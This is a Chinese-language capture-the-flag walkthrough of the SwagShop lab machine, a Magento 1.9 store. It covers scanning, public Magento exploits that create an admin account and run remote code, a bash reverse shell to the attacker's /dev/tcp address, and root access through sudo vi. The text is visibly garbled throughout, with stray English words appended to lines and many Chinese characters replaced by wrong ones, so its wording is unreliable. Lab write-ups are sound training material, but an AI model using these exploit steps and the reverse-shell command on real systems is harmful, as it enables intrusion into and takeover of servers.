本文做者:是大方子(Ms08067实验室核心成员)
php
总结与反思html
靶机介绍python
靶机IP:10.10.10.140
kali:10.10.12.69linux
先用nmap来对靶机进行探测git
nmap ‐sC ‐sV ‐T 5 ‐oA Swagshop.nmap 10.10.10.140
扫描结果github
# Nmap 7.80 scan initiated Fri Oct 4 13:24:03 2019 as: nmap ‐sC ‐sV ‐T 5 ‐oA Swagshop.nmap 10.10.10.140 Warning: 10.10.10.140 giving up on port because retransmission cap hit (2). Nmap scan report for 10.10.10.140 Host is up (0.33s latency). Not shown: 855 closed ports, 143 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh‐hostkey: | 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA) |_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http‐title: Home page Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at http s://nmap.org/submit/ . # Nmap done at Fri Oct 4 13:25:16 2019 ‐‐ 1 IP address (1 host up) scann ed in 73.75 seconds
开放了22 和 80端口,直接打开访问下网页web
Magento是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。
设计得很是灵活,具备模块化架构体系和丰富的功能。易于与第三方应用系统无缝集成。在设计上,包含至关全面,以模块化架构体系,让应用组合变得至关灵活,功能也至关丰富。shell
接下来就是网页上进行信息收集。
首先是下面的版权,2014年能够为找漏洞的线索express
咱们随便点开网页有一个比较奇怪的地方,感受像是URL重写,前面都会多一个index.phpjson
经过gubuster,跑出来的目录也没有什么用
这样收集的信息也不是很够,咱们还须要另外的工具进行辅助
magescan 专门针对magento的扫描器
下载地址:https://github.com/steverobbins/magescan/releases
>php magescan.phar scan:all http://10.10.10.140 Scanning http://10.10.10.140/... Magento Information +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ | Parameter | Value | +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ | Edition | Community | | Version | 1.9.0.0, 1.9.0.1 | +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ Installed Modules No detectable modules were found Catalog Information +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ | Type | Count | +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ | Categories | Unknown | | Products | Unknown | +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ Patches +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ | Name | Status | +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ | SUPEE‐5344 | Unknown | | SUPEE‐5994 | Unknown | | SUPEE‐6285 | Unknown | | SUPEE‐6482 | Unknown | | SUPEE‐6788 | Unknown | | SUPEE‐7405 | Unknown | | SUPEE‐8788 | Unknown | +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ Sitemap Sitemap is not declared in robots.txt Sitemap is not accessible: http://10.10.10.140/sitemap.xml Server Technology +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ | Key | Value | +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ | Server | Apache/2.4.18 (Ubuntu) | +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ Unreachable Path Check +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐ + | Path | Response Code | Status | +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐ + | .bzr/ | 404 | Pass | | .cvs/ | 404 | Pass | | .git/ | 404 | Pass | | .git/config | 404 | Pass | | .git/refs/ | 404 | Pass | | .gitignore | 404 | Pass | | .hg/ | 404 | Pass | | .idea | 404 | Pass | | .svn/ | 404 | Pass | | .svn/entries | 404 | Pass | | admin/ | 404 | Pass | | admin123/ | 404 | Pass | | adminer.php | 404 | Pass | | administrator/ | 404 | Pass | | adminpanel/ | 404 | Pass | | aittmp/index.php | 404 | Pass | | app/etc/enterprise.xml | 404 | Pass | | app/etc/local.xml | 200 | Fail | | backend/ | 404 | Pass | | backoffice/ | 404 | Pass | | beheer/ | 404 | Pass | | capistrano/config/deploy.rb | 404 | Pass | | chive | 404 | Pass | | composer.json | 404 | Pass | | composer.lock | 404 | Pass | | vendor/composer/installed.json | 404 | Pass | | config/deploy.rb | 404 | Pass | | control/ | 404 | Pass | | dev/tests/functional/etc/config.xml | 404 | Pass | | downloader/index.php | 404 | Pass | | index.php/rss/order/NEW/new | 200 | Fail | | info.php | 404 | Pass | | mageaudit.php | 404 | Pass | | magmi/ | 404 | Pass | | magmi/conf/magmi.ini | 404 | Pass | | magmi/web/magmi.php | 404 | Pass | | Makefile | 404 | Pass | | manage/ | 404 | Pass | | management/ | 404 | Pass | | manager/ | 404 | Pass | | modman | 404 | Pass | | p.php | 404 | Pass | | panel/ | 404 | Pass | | phpinfo.php | 404 | Pass | | phpmyadmin | 404 | Pass | | README.md | 404 | Pass | | README.txt | 404 | Pass | | shell/ | 200 | Fail | | shopadmin/ | 404 | Pass | | site_admin/ | 404 | Pass | | var/export/ | 404 | Pass | | var/export/export_all_products.csv | 404 | Pass | | var/export/export_customers.csv | 404 | Pass | | var/export/export_product_stocks.csv | 404 | Pass | | var/log/ | 404 | Pass | | var/log/exception.log | 404 | Pass | | var/log/payment_authnetcim.log | 404 | Pass | | var/log/payment_authorizenet.log | 404 | Pass | | var/log/payment_authorizenet_directpost.log | 404 | Pass | | var/log/payment_cybersource_soap.log | 404 | Pass | | var/log/payment_ogone.log | 404 | Pass | | var/log/payment_payflow_advanced.log | 404 | Pass | | var/log/payment_payflow_link.log | 404 | Pass | | var/log/payment_paypal_billing_agreement.log | 404 | Pass | | var/log/payment_paypal_direct.log | 404 | Pass | | var/log/payment_paypal_express.log | 404 | Pass | | var/log/payment_paypal_standard.log | 404 | Pass | | var/log/payment_paypaluk_express.log | 404 | Pass | | var/log/payment_pbridge.log | 404 | Pass | | var/log/payment_verisign.log | 404 | Pass | | var/log/system.log | 404 | Pass | | var/report/ | 404 | Pass | +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐ +
从扫描结果咱们能够看到magento的版本大概为1.9.0.0, 1.9.0.1。
敏感路径:
/app/etc/local.xml(有线索) /index.php/rss/order/NEW/new(无用) /shopadmin/
接下来用searchsploit来找下magento如今已经的漏洞
经过 -x 参数能够看到这些EXP的内容
主要是用到这两个:
第一个,用来进行远程代码执行(可是须要经过身份验证) 。
**第二个,能够用来建立管理员帐号密码(给第一个EXP的利用创造条件)。 **
先试用第二个EXP,建立管理员帐号密码 经过-m 参数能够吧EXP复制到当前路径
而后对EXP进行修改,这里修改3个地方。
而后执行下
咱们尝试登陆下
成功登陆
接下来就是利用另外一个EXP,来进行远程代码执行
从新编辑下EXP
咱们能够看到咱们须要配置的地方
username:dfz password:dfz php_function:咱们不须要修改 install_data:在上面咱们发现的/app/etc/local.xml能够查询到
配置好的信息以下:
开始执行
能够看到mechanize报了一个找不到元素的错,mechanize是python里面模拟浏览器操做的模块。结合它须要管理员帐号密码,这里应该填的是管理员页面地址。
能够看到命令执行成功
那么咱们就用它反弹shell
没法正常反弹!
这里猜想,多是由于这串代码传到服务器的时候 可能由于空格或者是其余的异常的符致使服务器执行失败。以前咱们看到whoami命令是能够正常执行的。那么咱们就把代码换成这样
python 37811.py http://10.10.10.140/index.php/admin "bash ‐c 'bash ‐i >&/dev/tcp/10.10.12.69/4444 0>&1' "
这样当服务器解析到bash -c 时 能够把后面单引号内的内容执行,防止意外干扰
成功!!!咱们看下本身的sudo权限
能够看到咱们使用vi和使用目录/var/www/html是不须要密码就能得到root权限的。
第一反应就是使用vi来进行提权,先使用python的pty
python ‐c "import pty;pty.spawn('/bin/bash')"
发现没有python,可是咱们能够用python3
python3 ‐c "import pty;pty.spawn('/bin/bash')"
而后在处理方向键等乱码问题。
先ctrl+z 把进程挂到后台,而后输入stty raw -echo,在输入fg(不会显示出来),多按几回回车便可
而后须要使用vi进行提权,须要注意的是:
sudo vi /var/www/html/sdfzy
vi开启后进入命令行模式,而后执行命令
:!/bin/bash
便可拿到root权限!
转载请联系做者并注明出处!
Ms08067安全实验室专一于网络安全知识的普及和培训。团队已出版《Web安全***:***测试实战指南》,《内网安全***:***测试实战指南》,《Python安全***:***测试实战指南》,《Java代码安全审计(入门篇)》等书籍。团队按期分享关于CTF靶场、内网***、APT方面技术干货,从零开始、以实战落地为主官方网站:https://www.ms08067.com/